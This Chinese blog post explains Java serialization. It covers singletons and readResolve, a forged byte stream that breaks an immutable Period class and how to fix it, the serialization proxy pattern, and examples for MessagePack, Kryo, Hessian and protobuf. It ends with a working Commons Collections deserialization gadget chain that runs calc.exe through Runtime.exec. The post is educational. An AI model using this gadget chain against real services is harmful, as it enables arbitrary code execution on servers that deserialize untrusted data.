Java 序列化与反序列化(二)

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/jinjiankang/article/details/94039953

1、序列化与单例模式

public class MyUserSingleton implements Serializable {
    private static final long serialVersionUID = -5182532647273106745L;
    private String password;
    private String userName;
    transient private String sex;

    private static class InstanceHolder {
        private static final MyUserSingleton instatnce = new MyUserSingleton("严", "123456", "M");
    }

    public static MyUserSingleton getInstance() {
        return InstanceHolder.instatnce;
    }

    private MyUserSingleton() {
    }

    private MyUserSingleton(String userName, String password, String sex) {
        this.userName = userName;
        this.password = password;
        this.sex = sex;
    }

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(this.sex);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        this.sex = (String)in.readObject();
    }

    // ①
    //private Object readResolve() throws ObjectStreamException {
        //return InstanceHolder.instatnce;
    //}
    // 略
}
@Test
public void testSerial3() throws IOException, ClassNotFoundException {
    //序列化
    FileOutputStream fos = new FileOutputStream("singleton.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(MyUserSingleton.getInstance());
    oos.flush();
    oos.close();

    //反序列化
    FileInputStream fis = new FileInputStream("singleton.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    MyUserSingleton user2 = (MyUserSingleton) ois.readObject();
    System.out.println(user2.getUserName() + " " + user2.getPassword() + " " + user2.getSex());
    System.out.println(MyUserSingleton.getInstance() == user2);
}

上述MyUserSingleton类看似单例模式,但反序列化后得到的对象却不等于(==)那个单例对象。将①处的readResolve()方法去掉注释后,才是严格意义上的单例模式。

2、序列化与不可变类

import java.io.Serializable;
import java.util.Date;

public final class Period implements Serializable {
    private static final long serialVersionUID = 4647424730390249716L;
    private final Date start;
    private final Date end;

    public Period(Date start, Date end) {
        if (null == start || null == end || start.after(end)) {
            throw new IllegalArgumentException("请传入正确的时间区间!");
        }
        this.start = new Date(start.getTime());
        this.end = new Date(end.getTime());
    }

    public Date start() {
        return new Date(start.getTime());
    }

    public Date end() {
        return new Date(end.getTime());
    }

    @Override
    public String toString() {
        return "起始时间:" + start + " , 结束时间:" + end;
    }
}

注意:Period类没有包名,而且不是严格意义上的“不可变类”。通过伪造字节流可以构造出一个“叛逆的对象”,即它的开始时间可以晚于结束时间。

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;

public class BogusPeriod {
    // Byte stream could not have come from real Period instance
    private static final byte[] serializedForm = new byte[] {
            (byte)0xac, (byte)0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x06,
            0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x40, 0x7e, (byte)0xf8,
            0x2b, 0x4f, 0x46, (byte)0xc0, (byte)0xf4, 0x02, 0x00, 0x02,
            0x4c, 0x00, 0x03, 0x65, 0x6e, 0x64, 0x74, 0x00, 0x10, 0x4c,
            0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f,
            0x44, 0x61, 0x74, 0x65, 0x3b, 0x4c, 0x00, 0x05, 0x73, 0x74,
            0x61, 0x72, 0x74, 0x71, 0x00, 0x7e, 0x00, 0x01, 0x78, 0x70,
            0x73, 0x72, 0x00, 0x0e, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x75,
            0x74, 0x69, 0x6c, 0x2e, 0x44, 0x61, 0x74, 0x65, 0x68, 0x6a,
            (byte)0x81, 0x01, 0x4b, 0x59, 0x74, 0x19, 0x03, 0x00, 0x00,
            0x78, 0x70, 0x77, 0x08, 0x00, 0x00, 0x00, 0x66, (byte)0xdf,
            0x6e, 0x1e, 0x00, 0x78, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x03,
            0x77, 0x08, 0x00, 0x00, 0x00, (byte)0xd5, 0x17, 0x69, 0x22,
            0x00, 0x78 };

    public static void main(String[] args) {
        Period p = (Period) deserialize(serializedForm);
        System.out.println(p);
    }

    // Returns the object with the specified serialized form
    public static Object deserialize(byte[] sf) {
        try {
            InputStream is = new ByteArrayInputStream(sf);
            ObjectInputStream ois = new ObjectInputStream(is);
            return ois.readObject();
        } catch (Exception e) {
            throw new IllegalArgumentException(e.toString());
        }
    }
}

控制台输出:起始时间:Sat Jan 02 04:00:00 CST 1999 , 结束时间:Mon Jan 02 04:00:00 CST 1984
完善后的Period类,注意:去掉了final字样,新增了readObject()方法:

import java.io.IOException;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Date;

public final class Period implements Serializable {
    private static final long serialVersionUID = 4647424730390249716L;
    // 去掉了final
    private Date start;
    private Date end;

    public Period(Date start, Date end) {
        if (null == start || null == end || start.after(end)) {
            throw new IllegalArgumentException("请传入正确的时间区间!");
        }
        this.start = new Date(start.getTime());
        this.end = new Date(end.getTime());
    }

    public Date start() {
        return new Date(start.getTime());
    }

    public Date end() {
        return new Date(end.getTime());
    }

    @Override
    public String toString() {
        return "起始时间:" + start + " , 结束时间:" + end;
    }

    // 新增的方法
    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();

        start = new Date(start.getTime());
        end = new Date(end.getTime());

        if (start.compareTo(end) > 0) {
            throw new InvalidObjectException(start + " after " + end);
        }
    }
}

再次运行BogusPeriod,得到以下异常,漏洞被修复了:
Exception in thread “main” java.lang.IllegalArgumentException: java.io.InvalidObjectException: Sat Jan 02 04:00:00 CST 1999 after Mon Jan 02 04:00:00 CST 1984

3、序列化代理模式

序列化代理模式可以让你轻松实现安全的代码。

import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Date;

public class Period implements Serializable {
    private static final long serialVersionUID = 1L;
    private final Date start;
    private final Date end;

    public Period(Date start, Date end) {
        if (null == start || null == end || start.after(end)) {
            throw new IllegalArgumentException("请传入正确的时间区间!");
        }
        this.start = start;
        this.end = end;
    }

    public Date start() {
        return new Date(start.getTime());
    }

    public Date end() {
        return new Date(end.getTime());
    }

    @Override
    public String toString() {
        return "起始时间:" + start + " , 结束时间:" + end;
    }

    /**
     * 序列化外围类时,虚拟机会转掉这个方法,最后其实是序列化了一个内部的代理类对象!
     */
    private Object writeReplace() {
        System.out.println("进入writeReplace()方法!");
        return new SerializabtionProxy(this);
    }

    /**
     * 如果攻击者伪造了一个字节码文件,然后来反序列化也无法成功,因为外围类的readObject方法直接抛异常!
     */
    private void readObject(ObjectInputStream ois) throws InvalidObjectException {
        throw new InvalidObjectException("Proxy required!");
    }

    /**
     * 序列化代理类,他精确表示了其当前外围类对象的状态!最后序列化时会将这个私有内部内进行序列化!
     */
    private static class SerializabtionProxy implements Serializable {
        private static final long serialVersionUID = 1L;
        private final Date start;
        private final Date end;

        SerializabtionProxy(Period p) {
            this.start = p.start;
            this.end = p.end;
        }

        /**
         * 反序列化这个类时,虚拟机会调用这个方法,最后返回的对象是一个Period对象!这里同样调用了Period的构造函数,
         * 会进行构造函数的一些校验!
         */
        private Object readResolve() {
            System.out.println("进入readResolve()方法,将返回Period对象!");
            // 这里进行保护性拷贝!
            return new Period(new Date(start.getTime()), new Date(end.getTime()));
        }
    }
}
@Test
public void testSerial() throws IOException, ClassNotFoundException {
    //序列化
    FileOutputStream fos = new FileOutputStream("object.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);

    GregorianCalendar gc = new GregorianCalendar(2019, 6, 1);
    GregorianCalendar gc2 = new GregorianCalendar(2019, 6, 30);
    Date start = gc.getTime(), end = gc2.getTime();
    Period period = new Period(start, end);
    oos.writeObject(period);
    oos.flush();
    oos.close();

    //反序列化
    FileInputStream fis = new FileInputStream("object.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    Period period2 = (Period) ois.readObject();
    System.out.println(period2.toString());
}

控制台输出:
进入writeReplace()方法!
进入readResolve()方法,将返回Period对象!
起始时间:Mon Jul 01 00:00:00 CST 2019 , 结束时间:Tue Jul 30 00:00:00 CST 2019

4、其他序列化工具

4.1 MessagePack

MessagePack据声称是一个很高效的序列化工具,我司的RPC框架就使用了它。先看一个小栗子:

<dependency>
        <groupId>org.msgpack</groupId>
        <artifactId>msgpack</artifactId>
        <version>0.6.12</version>
</dependency>
import org.msgpack.annotation.Message;

@Message
public class Info {
    private String id;
    private String name;
    // 略
}
public static void main(String[] args) throws IOException {
    Info info = new Info();
    info.setId("11111");
    info.setName("Tom");

    MessagePack messagePack = new MessagePack();
    byte[] bs = messagePack.write(info);

    Info infoOut = messagePack.read(bs, Info.class);

    System.out.println("######" + infoOut.toString());
}

注意:Info类未实现Serializable接口。

4.2 Kryo

Kryo是一个快速、高效的Java二级制对象图序列化框架,旨在提供快速、序列化文件小和易用的API。无论对象被序列化到文件、数据库或网络,Kryo都非常有用。Kryo还可以执行自动深拷贝(克隆)、浅拷贝(克隆)。这一过程是对象到对象的直接拷贝,而非对象到字节流,再到对象的拷贝。

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.2</version>
</dependency>
		
public class User {
    private String name;
    private String sex;
    private int age;
    private Map<?, ?> map;
	
	// 略
}

@Test
public void testXxx() throws FileNotFoundException {
    //创建对象
    User obj = new User();
    obj.setName("张三");
    Map<String, String> map = new HashMap();
    map.put("key", "value");
    obj.setMap(map);

    //写入
    Kryo kryo = new Kryo();
    Output output = new Output(new FileOutputStream("D:/file.bin"));
    kryo.writeObject(output, obj);
    output.close();

    //读取
    Input input = new Input(new FileInputStream("D:/file.bin"));
    User user = kryo.readObject(input, User.class);
    input.close();
    System.out.println(user.getName());
    System.out.println(user.getMap().get("key"));
}

4.3 hessian

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.62</version>
</dependency>

public class Employee implements Serializable {
    private static final long serialVersionUID = 1L;
    private int employeeId;
    private String employeeName;
    private String department;
	// 略
}

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import org.junit.Test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class HessianSerializeDeserializeTest {

    @Test
    public void testXxx() throws IOException {
        Employee employee = new Employee();
        employee.setEmployeeId(1);
        employee.setEmployeeName("小王");
        employee.setDepartment("技术研发部");

        // 序列化
        byte[] serialize = serialize(employee);

        // 反序列化
        Employee deserialize = deserialize(serialize);
        System.out.println(deserialize.toString());
    }

    public static byte[] serialize(Employee employee) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        // Hessian的序列化输出
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(employee);
        return byteArrayOutputStream.toByteArray();
    }

    public static Employee deserialize(byte[] employeeArray) throws IOException {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(employeeArray);
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        return (Employee) hessianInput.readObject();
    }
}

4.4 protobuf

按规范编辑文件文件:message.proto

syntax = "proto3";

message Person {
    int32 id = 1;
    string name = 2;

    repeated Phone phone = 4;

    enum PhoneType {
        MOBILE = 0;
        HOME = 1;
        WORK = 2;
    }

    message Phone {
        string number = 1;
        PhoneType type = 2;
    }
}

安装protoc for win软件后,生产类似于POJO的类Message.java,但其内容非常非常多。

D:\ThirdPartiesFiles\protobuf\protoc-3.8.0-win64\bin>protoc.exe --java_out=./java ./message.proto
<dependency>
    <groupId>com.google.protobuf</groupId>
    <artifactId>protobuf-java</artifactId>
    <version>3.8.0</version>
</dependency>

@Test
public void testProtobuf() {
    Message.Person.Builder personBuilder = Message.Person.newBuilder();
    personBuilder.setId(12345678);
    personBuilder.setName("严");
    personBuilder.addPhone(Message.Person.Phone.newBuilder().setNumber("10010").setType(Message.Person.PhoneType.MOBILE));
    personBuilder.addPhone(Message.Person.Phone.newBuilder().setNumber("10086").setType(Message.Person.PhoneType.HOME));
    personBuilder.addPhone(Message.Person.Phone.newBuilder().setNumber("10000").setType(Message.Person.PhoneType.WORK));

    Message.Person person = personBuilder.build();
    byte[] buff = person.toByteArray();

    try {
        Message.Person personOut = Message.Person.parseFrom(buff);
        System.out.printf("Id:%d, Name:%s\n", personOut.getId(), personOut.getName());

        List<Message.Person.Phone> phoneList = personOut.getPhoneList();

        for (Message.Person.Phone phone : phoneList) {
            System.out.printf("PhoneNumber:%s (%s)\n", phone.getNumber(), phone.getType());
        }
    } catch (InvalidProtocolBufferException e) {
        e.printStackTrace();
    }

    System.out.println(Arrays.toString(buff));
}

5、漏洞与安全

这是一个很大的话题,我也不甚了解。来个栗子:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class BadExceptionTest {

    public static void main(String[] args) throws Exception {
        new BadExceptionTest().run();
    }

    public void run() throws Exception {
        deserialize(serialize(getObject()));
    }

    //在此方法中返回恶意对象
    public Object getObject() throws Exception {
        //构建恶意代码
        String command="calc.exe";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs)
        };
        Transformer transformer = new ChainedTransformer(transformers);

        final Map lazyMap = LazyMap.decorate(new HashMap(), transformer);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        //利用反射的方式来向对象传参
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        return val;
    }

    public  byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public  Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

在win10上运行后,可以弹出操作系统自带的计数器,细思极恐!!!代码来自这里

猜你喜欢

转载自blog.csdn.net/jinjiankang/article/details/94039953